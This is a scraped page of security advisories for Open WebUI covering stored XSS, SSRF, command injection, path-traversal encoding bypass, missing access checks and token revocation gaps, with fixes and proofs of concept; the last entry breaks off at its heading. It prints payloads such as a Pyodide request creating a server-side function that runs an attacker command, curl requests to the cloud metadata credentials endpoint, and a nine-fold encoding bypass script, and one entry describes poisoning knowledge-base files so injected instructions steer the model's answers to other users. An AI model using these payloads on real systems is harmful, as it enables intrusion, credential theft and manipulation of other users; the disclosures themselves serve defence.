Where
-Infinity
0
Severity
9
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Title: Same-origin Pyodide code execution allows server-side RCE via a shared chat

Summary

Open WebUI runs client-side Python (Pyodide) in a same-origin web worker. Through Pyodide's JavaScript API (pyodide.http.pyfetch, or the js module which exposes the page's fetch / XMLHttpRequest) executed Python can issue requests on the application origin, and those requests carry the victim's session cookie. A low-privileged user can store such a payload in a chat message, share the chat, and when a victim opens it and clicks Run the payload executes authenticated same-origin requests as the victim. When the victim is an admin (or a user holding workspace.functions / workspace.tools permissions) the payload creates a Function/Tool whose body runs server-side, yielding remote code execution.

Details

Pyodide's js bridge gives Python in the worker the same reach as inline JavaScript on the origin, and the worker is same-origin, so a credentialed request to the app's own API is authenticated as the victim. No separate XSS sink is required: storing the payload in a shared chat and having the victim run it is enough.

python from pyodide.http import pyfetch import json await pyfetch('/api/v1/functions/create', method='POST', credentials='include', headers={'Content-Type': 'application/json'}, body=json.dumps({'id': 'x', 'name': 'x', 'meta': {'description': 'x'}, 'content': "import os; os.system('<attacker command>')"}))

Impact

When the victim runs the shared code, an authenticated low-privileged user achieves remote code execution on the server (the created Function/Tool runs server-side Python) if the victim is an admin or holds workspace.functions / workspace.tools permissions. More generally the executed code can issue any authenticated request as the victim. Requires the victim to click Run, and Open WebUI configured to use Pyodide.

Patched

Pyodide now runs in a sandboxed iframe at an opaque origin by default (sandbox="allow-scripts", no allow-same-origin). At an opaque origin pyfetch, fetch and XMLHttpRequest to the app become cross-origin requests that carry no session cookie and are CORS-blocked, and the js bridge operates on the isolated iframe window with no access to the parent's cookie, token, localStorage or DOM. Full Python, JavaScript and external fetch keep working. IDBFS persistence is available only behind ENABLEPYODIDEFILEPERSISTENCE=true, which restores the same-origin worker and re-accepts this risk.

Workaround

Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.

Credits

@gg0h

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability. The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account.

1 / 2
Source: ZDI
First published (updated )
Advisory
ZDI-26-031
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability. The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account.

1 / 2
Source: ZDI
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability. The specific flaw exists within the loadtoolmodulebyid function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account.

1 / 2
Source: ZDI
First published (updated )
Advisory
ZDI-26-032
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability. The specific flaw exists within the loadtoolmodulebyid function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account.

1 / 2
Source: ZDI
First published (updated )
Severity
8.8
Code Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Open WebUI loadtoolmodulebyid Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.

The specific flaw exists within the loadtoolmodulebyid function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28257.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
OS Command Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Open WebUI PIP installfrontmatterrequirements Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.

The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28258.

1 / 2
Source: MITRE
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/openwebui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def processweb( request: Request, formdata: ProcessUrlForm, user=Depends(getverifieduser) ): try: collectionname = formdata.collectionname if not collectionname: collectionname = calculatesha256string(formdata.url)[:63]

content, docs = getcontentfromurl(request, formdata.url) # ← SSRF vulnerability

The formdata.url parameter is passed directly to getcontentfromurl() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain: 1. retrieval.py:1767 → getcontentfromurl(request, formdata.url) 2. retrieval/utils.py:77 → getloader(request, url) 3. retrieval/utils.py:62 → getwebloader(url, ...) or YoutubeLoader(url, ...) 4. Both loaders fetch the user-supplied URL without validation

No validation is performed for: - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - Localhost addresses (127.0.0.0/8) - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254) - Protocol restrictions (file://, gopher://, etc.) - Domain allowlisting

PoC Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples: - Internal network: {"url":"http://192.168.1.1"} - Localhost services: {"url":"http://localhost:5432"} - Internal APIs: {"url":"http://internal-api.local"}

Impact Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

1. Cloud Environment Compromise - Steal AWS/GCP/Azure credentials via metadata endpoints - Result: Full cloud account takeover 2. Internal Network Access - Bypass firewalls to access internal services (databases, admin panels, APIs) - Port scan and map internal infrastructure - Result: Complete network visibility 3. Data Exfiltration - Read internal documentation, configurations, secrets - Access Kubernetes API servers - Result: Credential theft, API key exposure

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
Input Validation
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

First published (updated )
Severity
8.2
XSS
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary Any authenticated user with access to a terminal server could get script of their choosing to run in the Open WebUI origin itself. The HTML file preview rendered terminal-served files in an iframe whose sandbox always granted allow-same-origin alongside allow-scripts, and the file is served from a path on the application's own origin, so the sandbox provided no isolation at all. Script in a previewed file could read the victim's session token and take over the account.

Preconditions - At least one terminal server configured by an admin (TERMINALSERVERCONNECTIONS, empty by default) and reachable by the victim. Deployments with no terminal server configured are not affected. - The attacker needs a normal authenticated account with access to that terminal server, no admin rights. - No victim interaction beyond having the chat open: a displayfile tool call opens the preview automatically. - TERMINALPROXYHEADERS unset, which is the default. An operator who had already set a restrictive Content-Security-Policy through it was not exposed, since those headers are merged into every proxied response including the served file. - The iframeSandboxAllowSameOrigin user setting is off by default, but the affected branch ignored it entirely.

Impact The previewed document runs in the application origin, so it can reach the parent window, read the session token out of localStorage and exfiltrate it, which is full account takeover of the victim. If the victim is an admin, or any user holding workspace.functions, that takeover extends to server-side code execution through Functions. Getting the malicious file written and displayed still requires a prompt-injection or a social step, which is what keeps the complexity high rather than trivial. Instances with no terminal server configured were never affected, and neither was the srcdoc preview path.

Fix Fixed in 0.11.0 by 65a5fad7b (#26907). The serveUrl preview branch now gates allow-same-origin behind the same iframeSandboxAllowSameOrigin setting the srcdoc branch already used, so by default the preview loads at an opaque origin and cannot reach the parent context. Upgrading is sufficient, no configuration change is required, and HTML previews continue to render normally.

Root cause - src/lib/components/chat/FileNav/FilePreview.svelte, the serveUrl iframe branch, reached for HTML files served through /api/v1/terminals/{id}/files/serve/.... - Present from 0.9.0, where that branch was introduced, through 0.10.2.

The component grew two preview paths. The srcdoc path was hardened: same-origin became opt-in and a CSP was injected into the document. The serveUrl path, added later for files streamed from a terminal server, kept a static sandbox string with allow-same-origin baked into it. Because the terminal proxy is mounted under the application's own origin and forwards the upstream response without adding a Content-Security-Policy of its own unless the operator configured one, and no global CSP is set, the sandbox was the only isolation boundary left, and it was granting precisely the permission that dissolved it.

Proof of concept Write an HTML file containing a script that reads window.parent.localStorage.token to a terminal server the victim can reach, then trigger displayfile for that file. The chat handler opens the preview on the resulting terminal:displayfile event with no click, the script executes at the application origin, and the token is exfiltrated.

Credits Reported by @manus-use (researcher zx / Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)

Details The source code at https://github.com/open-webui/open-webui/blob/main/backend/openwebui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base: @router.post("/{id}/file/remove", responsemodel=Optional[KnowledgeFilesResponse]) def removefilefromknowledgebyid( id: str, formdata: KnowledgeFileIdForm, deletefile: bool = Query(True), user=Depends(getverifieduser), db: Session = Depends(getsession), ): knowledge = Knowledges.getknowledgebyid(id=id, db=db) [...] # Note : Access control check on the knowledge base if ( knowledge.userid != user.id and not AccessGrants.hasaccess( userid=user.id, resourcetype="knowledge", resourceid=knowledge.id, permission="write", db=db, ) and user.role != "admin" ): raise HTTPException( statuscode=status.HTTP400BADREQUEST, detail=ERRORMESSAGES.ACCESSPROHIBITED, )

file = Files.getfilebyid(formdata.fileid, db=db) [...] # Note : No checks on the file

if deletefile: try: # Remove the file's collection from vector database filecollection = f"file-{formdata.fileid}" if VECTORDBCLIENT.hascollection(collectionname=filecollection): VECTORDBCLIENT.deletecollection(collectionname=filecollection) except Exception as e: log.debug("This was most likely caused by bypassing embedding processing") log.debug(e) pass

# Delete file from database Files.deletefilebyid(formdata.fileid, db=db) [...]

PoC Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1) Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b) Attacker deletes the victim file from their own collection: POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1 Host: gaius-neo-val.fr.space.corp Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0 [...]

{"fileid":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}

-----

HTTP/1.1 200 OK [...] The file is then deleted from the victim's knowledge base.

Impact Arbitrary file deletion

1 / 2
Source: GitHub
First published (updated )
Severity
8
SSRF
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Summary

The terminal proxy in backend/openwebui/routers/terminals.py forwards the Open WebUI user's identity to the upstream terminal server / backend coordinator as an authorization claim, with no cryptographic binding to the session that produced it. The forwarded identity is attacker-influenceable on both proxy paths:

1. HTTP path (proxyterminal) sets headers['X-User-Id'] = user.id. Upstreams that trust X-User-Id as identity receive it unsigned, so an attacker who can reach the upstream by other means (directly, a compromised peer, SSRF) can spoof it. 2. WebSocket path (wsterminal) is exploitable through Open WebUI itself, with no "other means" required. It interpolates the path parameter sessionid directly into the upstream URL and then appends ?userid=<caller>:

python upstreamurl = f'{wsbase}/p/{policyid}/api/terminals/{sessionid}' upstreamurl += f'?{urllib.parse.urlencode({"userid": user.id})}'

sessionid is neither validated nor URL-encoded (the HTTP sibling runs sanitizeproxypath; this path runs nothing). An encoded ?/& smuggled through sessionid survives Open WebUI's single decode and is re-decoded by the upstream, injecting an attacker-chosen userid ahead of the appended one. Query parsing binds the first occurrence, so the backend coordinator resolves the spoofed user's terminal scope.

Technical Details

The forwarded terminal identity is a bearer-style authorization claim with no integrity binding, and on the WebSocket path it is additionally injectable because sessionid is concatenated into the URL without encoding or delimiter validation.

Impact

A normal authenticated user can make the terminal proxy present another user's identity to the upstream backend coordinator. On backend coordinator-backed (policyid) servers that scope terminal containers by userid, this reaches another user's terminal scope; combined with a known active session ID (for example a chat-scoped session ID surfaced through a shared chat), it allows attaching to that user's live PTY. The HTTP-path variant additionally allows identity spoofing at the upstream tier for any deployment whose upstream trusts X-User-Id.

Appendix: Affected code

- backend/openwebui/routers/terminals.py — proxyterminal sets headers['X-User-Id'] = user.id with no signature. - backend/openwebui/routers/terminals.py — wsterminal builds the upstream URL from an unvalidated, unencoded sessionid and appends userid as a query parameter, allowing query injection.

Appendix: Consolidation

Per the Report Handling policy, this consolidates independent reports of the same root cause (the forwarded terminal identity is spoofable / not integrity-bound) into the earliest filing:

- @smoke-wolf (earliest filing) — the X-User-Id HTTP-path identity is forwarded without integrity binding, spoofable where the upstream trusts the header. - @rexpository — the wsterminal sessionid query-injection vector, proving the forwarded userid is spoofable through the Open WebUI proxy itself, with no "reach the upstream by other means" precondition.

Appendix: Recommended fix

- Validate and URL-encode sessionid before building the upstream URL (urllib.parse.quote(sessionid, safe=""); reject ?, #, &, /, %, backslash, control characters). Build the query string with a URL builder so attacker-controlled path content cannot precede it. - Bind the forwarded identity instead of passing a raw userid / X-User-Id: emit a short-lived signed claim (for example HS256 over {uid, iat, aud:serverid} with a key shared only with the specific upstream) and verify it upstream.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Path Traversal, SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

AI assistance was used to help inspect the code and prepare this report.

Summary

The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/openwebui/routers/terminals.py documents sanitizeproxypath() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.

Impact

A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policyid}/{safepath}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.

This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.

Reproduction

The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.

python import asyncio, posixpath from urllib.parse import unquote from aiohttp import web, ClientSession, ClientTimeout

def sanitize(path): decoded = path for in range(8): once = unquote(decoded) if once == decoded: break decoded = once cleaned = posixpath.normpath(decoded).lstrip('/') if cleaned.startswith('..') or cleaned == '.': return None return cleaned

def enc(s, rounds): out = ''.join(f'%{b:02X}' for b in s.encode()) for in range(rounds - 1): out = out.replace('%', '%25') return out

async def main(): async def handler(request): return web.jsonresponse({'rawpath': request.rawpath, 'path': request.path}) app = web.Application() app.router.addroute('', '/{tail:.}', handler) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, '127.0.0.1', 0) await site.start() port = site.server.sockets[0].getsockname()[1]

for rounds in (8, 9): safe = sanitize(enc('../admin/system', rounds)) print(rounds, safe) if safe: url = f'http://127.0.0.1:{port}/base/{safe}' async with ClientSession(timeout=ClientTimeout(total=10)) as session: async with session.get(url) as response: print(await response.json()) await runner.cleanup()

asyncio.run(main())

Observed output on current main and v0.9.6 sanitizer:

text 8 None 9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D {'rawpath': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}

The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so sanitizeproxypath() receives the 9x encoded parameter shown above.

Root Cause / Technical Details

sanitizeproxypath() in backend/openwebui/routers/terminals.py performs this loop:

python decoded = path for in range(8): once = unquote(decoded) if once == decoded: break decoded = once

The subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, posixpath.normpath() treats them as ordinary characters rather than path separators. The code then builds targeturl = f'{baseurl}/{safepath}' and sends it with aiohttp.ClientSession.request(). The upstream server receives and decodes the forwarded path, turning the accepted %2E%2E%2F... into ../....

The same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 backend/openwebui/routers/terminals.py hash matches current main for this file.

Remediation

Do not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:

1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators. 2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with /. 3. Add regression tests for at least 9x and 10x encoded ../ payloads, including a route-level test that accounts for the ASGI server's initial path decode before the {path:path} parameter reaches sanitizeproxypath().

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.03%
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary Manually modifying chat history allows setting the html property within document metadata. This causes the frontend to enter a code path that treats document contents as HTML, and render them in an iFrame when the citation is previewed. This allows stored XSS via a weaponised document payload in a chat. The payload also executes when the citation is viewed on a shared chat.

Details The vulnerability stems from how iFrame are implemented here: https://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/Citations/CitationModal.svelte#L163-L170 The html attribute can be controlled by a user who manually edits the chat history. Since allow-scripts and allow-same-origin are harcoded here the sandboxing offers essentially no protection.

PoC Create an arbitrary chat with a file upload attached: <img width="2462" height="1148" alt="image" src="https://github.com/user-attachments/assets/fad83c74-036d-41b8-bc44-87bf2a538b21" /> Edit the response <img width="768" height="206" alt="image" src="https://github.com/user-attachments/assets/41a7342a-cc41-433e-8820-0bc6ed08ddd7" /> <img width="2142" height="796" alt="image" src="https://github.com/user-attachments/assets/fb731111-e082-4172-80d1-34cff6b2a511" /> Before saving, configure the browser to use an HTTP proxy tool (Burp/Caido/ZAP) and intercept the save request. Find the object within the history and then messages objects (not the messages array) that contains the document source. <img width="2122" height="1388" alt="image" src="https://github.com/user-attachments/assets/1b4fbced-a6de-414d-b063-9cae44e3f449" /> Add html: true to metadata, update the document to an XSS payload, and forward the request. <img width="2240" height="1358" alt="image" src="https://github.com/user-attachments/assets/fd27971b-f707-458f-a14d-254f9f3ad1fa" /> Observe the payload is rendered in the iFrame and the javascript executes. <img width="2698" height="1696" alt="image" src="https://github.com/user-attachments/assets/b4e31cb4-d4cc-41a9-be42-802e9b1a798d" /> The payload also executes when viewed from a shared version of the chat. <img width="2742" height="1258" alt="image" src="https://github.com/user-attachments/assets/92ee501d-8f14-4c32-8f3c-f4d3ca304ee5" />

Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users.

Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.

Admins are at risk of exposing the server to RCE via same chain described in https://github.com/advisories/GHSA-w7xj-8fx7-wfch.

Caveats The victim must expand the sources and click the document containing the payload to trigger this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.03%
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary Manually modifying chat history allows setting the embeds property on a response message, the content of which is loaded into an iFrame with a sandbox that has allow-scripts and allow-same-origin set, ignoring the "iframe Sandbox Allow Same Origin" configuration. This enables stored XSS on the affected chat. This also triggers when the chat is in the shared format. The result is a shareable link containing the payload that can be distributed to any other users on the instance.

Details The flaw stems from how iFrames are constructed here: https://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/ResponseMessage.svelte#L689-L703

messages.embeds is a user controlled property and so can be arbitrarily set by the user to a payload of their choosing. Since allowScripts and allowSameOrigin are harcoded as true here the sandboxing offers essentially no protection.

PoC Create an arbitrary chat: <img width="2468" height="1426" alt="image" src="https://github.com/user-attachments/assets/41e32f5c-3fa7-4208-a71f-85556eec6309" /> Edit the model response: <img width="632" height="192" alt="image" src="https://github.com/user-attachments/assets/b1e79303-360f-46e3-8d6d-3309c3ec30af" /> <img width="2150" height="434" alt="image" src="https://github.com/user-attachments/assets/78f19d7f-10dc-4e91-83cc-2d4811e58496" /> Before saving, configure the browser to use an HTTP proxy tool (Burp/Caido/ZAP) and intercept the save request. Find the object within the history and then messages objects (not the messages array) that corresponds to the edited text. <img width="2024" height="1528" alt="image" src="https://github.com/user-attachments/assets/953e5368-8e93-428b-b223-c695eacfe7b9" /> On this object, add an embeds key and list value as shown below, forward the request and refresh the page. <img width="1904" height="1530" alt="image" src="https://github.com/user-attachments/assets/0e56be6f-5513-490e-9961-972bdfbd5d8b" /> This results in XSS via the controlled content getting rendered in the iFrame. Note the bold text is just to aid demonstration. console.log is used to prove JS execution because the lack of allow-modals on the iFrame sandbox prevents alerts. <img width="2752" height="1686" alt="image" src="https://github.com/user-attachments/assets/4858f7b3-4e2f-4fab-a5a5-196df26bcdce" /> The same payload triggers when the chat is shared. <img width="2730" height="1426" alt="image" src="https://github.com/user-attachments/assets/ee88b538-9781-4276-b681-9953974b826d" />

Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users.

Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.

Admins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Summary

Any authenticated user can overwrite any file's content by ID through the POST /api/v1/retrieval/process/files/batch endpoint. The endpoint performs no ownership check, so a regular user with read access to a shared knowledge base can obtain file UUIDs via GET /api/v1/knowledge/{id}/files and then overwrite those files, escalating from read to write. The overwritten content is served to the LLM via RAG, meaning the attacker controls what the model tells other users.

Details

The processfilesbatch() function in backend/openwebui/routers/retrieval.py appears to be designed as an internal helper. The knowledge base router (addfilestoknowledgebatch() in knowledge.py) imports and calls it directly after performing its own ownership and access control checks. The frontend never calls the retrieval route directly; all legitimate UI flows go through the knowledge base wrapper.

However, the function is also exposed as a standalone HTTP endpoint via @router.post(...). This direct route only requires getverifieduser (any authenticated user) and performs no ownership check of its own:

python for file in formdata.files: textcontent = file.data.get("content", "") # attacker-controlled

fileupdates.append(FileUpdateForm( hash=calculatesha256string(textcontent), data={"content": textcontent}, # written to DB ))

for fileupdate, fileresult in zip(fileupdates, fileresults): Files.updatefilebyid(id=fileresult.fileid, formdata=fileupdate) # ^^^ no ownership check

There is no verification that file.userid == user.id before the write. Any authenticated user who knows a file UUID can overwrite that file.

How an attacker obtains file UUIDs:

Same as with read access, any user who can see a knowledge base can retrieve file IDs for every document in it via GET /api/v1/knowledge/{id}/files. In deployments where knowledge bases are shared across teams, this gives any regular user a list of valid targets.

Suggested fix: Add an ownership check before writing:

python for file in formdata.files: dbfile = Files.getfilebyid(file.id) if not dbfile or (dbfile.userid != user.id and user.role != "admin"): fileerrors.append(BatchProcessFilesResult( fileid=file.id, status="failed", error="Permission denied: not file owner", )) continue

Classification: - CWE-639: Authorization Bypass Through User-Controlled Key - OWASP API1:2023: Broken Object Level Authorization

Tested on Open WebUI 0.8.3 using a default Docker configuration.

PoC

Prerequisites: - Default Open WebUI installation (Docker: ghcr.io/open-webui/open-webui:main) - An admin or user creates a knowledge base with shared read access and uploads a file - A regular user account exists (the attacker)

Obtaining the file UUID (attacker):

GET /api/v1/knowledge/{kbid}/files

This returns metadata for all files in the KB, including their UUIDs.

Exploit (attacker):

bash python3 pocexploit.py --url http://<host>:3000 --file-id <target-file-uuid> -t <attacker-jwt>

The PoC script: pocexploit.py 1. Authenticates as the attacker 2. Overwrites the target file via POST /api/v1/retrieval/process/files/batch with a canary payload containing a unique marker string 3. Reads the file back and confirms the attacker's content replaced the original

Verifying RAG poisoning:

After the overwrite, log in as any other user, start a chat with the poisoned knowledge base attached, and ask about the document. The model's response will include the attacker's canary string (BOLA-<marker>), confirming that attacker-controlled content reached the LLM and influenced the response.

No special tooling is required. The script uses only Python 3 standard library (urllib).

Impact

Who is affected: Any multi-user Open WebUI deployment where knowledge bases are shared. The attacker needs a valid account (any role) and a target file UUID, which is available through any knowledge base they have read access to.

What can happen: - RAG poisoning: The overwritten content is served to the LLM via RAG. The attacker controls what the model tells every user who queries that knowledge base. This includes the ability to inject instructions the model will follow, which could lead to further exploitation depending on what tools and capabilities are available in the deployment (e.g. code interpreter, function calling). - Silent data corruption: The original file content is permanently replaced with no indication to the file owner or other users that it has changed. - No audit trail: Nothing records that an unauthorized user modified the file.

The core issue is that a function designed as an internal helper is exposed as a public endpoint without its own authorization checks. A user with read-only access to a knowledge base can escalate to write access over any file in it.

Disclaimer on the use of AI powered tools

The research and reporting related to this vulnerability was aided by the help of AI tools.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

With Redis configured, Open WebUI supports JWT revocation: POST /api/v1/auths/signout (per-token jti) and OIDC back-channel logout (per-user revokedat) record revocations in Redis, and HTTP auth (getcurrentuser) rejects revoked tokens with 401. The realtime authentication surfaces do not perform this check: Socket.IO connect / user-join / join-channels / join-note and the terminal websocket first-message auth validate tokens with decodetoken() only (signature + expiry). A JWT revoked by sign-out or back-channel logout therefore continues to authenticate new realtime connections, even though the same token is rejected on HTTP.

Affected component

- backend/openwebui/socket/main.py — Socket.IO connect, user-join, join-channels, join-note - backend/openwebui/routers/terminals.py — terminal websocket first-message auth - backend/openwebui/utils/auth.py — the revocation check was applied to HTTP only

Root cause

HTTP auth enforces revocation:

python utils/auth.py — getcurrentuser if data.get('jti') and not await isvalidtoken(request, data): raise HTTPException(statuscode=401, detail='Invalid token')

Realtime auth calls decodetoken() only, which verifies signature + expiry but never consults the Redis revocation keys ({prefix}:auth:token:{jti}:revoked, {prefix}:auth:user:{id}:revokedat):

python socket/main.py — connect / user-join / join-channels / join-note data = decodetoken(auth['token']) routers/terminals.py — resolveauthenticatedconnection data = decodetoken(token)

Impact

A JWT revoked by user sign-out or OIDC back-channel logout still authenticates new realtime connections. A stolen token therefore retains realtime access after the victim signs out or the IdP performs back-channel logout — the very remediation for a compromised token. The token can populate SESSIONPOOL as the victim, join their user/channel/note rooms (receiving realtime channel messages, collaborative-note updates and presence), drive socket-level collaboration as the victim, and pass terminal websocket authentication when terminal servers are configured. HTTP remains correctly protected (401), so REST data and state-changing REST endpoints are not reachable with the revoked token.

Proof of Concept

Reporter PoC on a Redis-backed deployment (v0.9.6 and main): after POST /api/v1/auths/signout, HTTP returns 401 for the token while a Socket.IO user-join with the same token still authenticates, and the terminal WS reaches terminal-server lookup rather than rejecting it as Invalid token.

Fix

Apply the revocation check on the realtime paths. The logic is factored into istokenrevoked(redis, decoded) (covering per-token jti and per-user revokedat); the Socket.IO handlers and the terminal WS reject tokens that fail it, using the main app Redis where revocations are stored. HTTP isvalidtoken delegates to the same helper, so HTTP behaviour is unchanged.

Affected / Patched

- Affected: >= 0.9.0, < 0.10.0, and only when Redis is configured (without Redis, per-token revocation is not supported and sign-out does not invalidate JWTs by design). - Patched: v0.10.0. The revocation check (isvalidtoken, covering per-token jti and per-user revokedat) is applied on Socket.IO connect / user-join / join-channels / join-note and the terminal websocket first-message auth, using the main app Redis where revocations are stored. HTTP isvalidtoken delegates to the same logic, so HTTP behaviour is unchanged.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

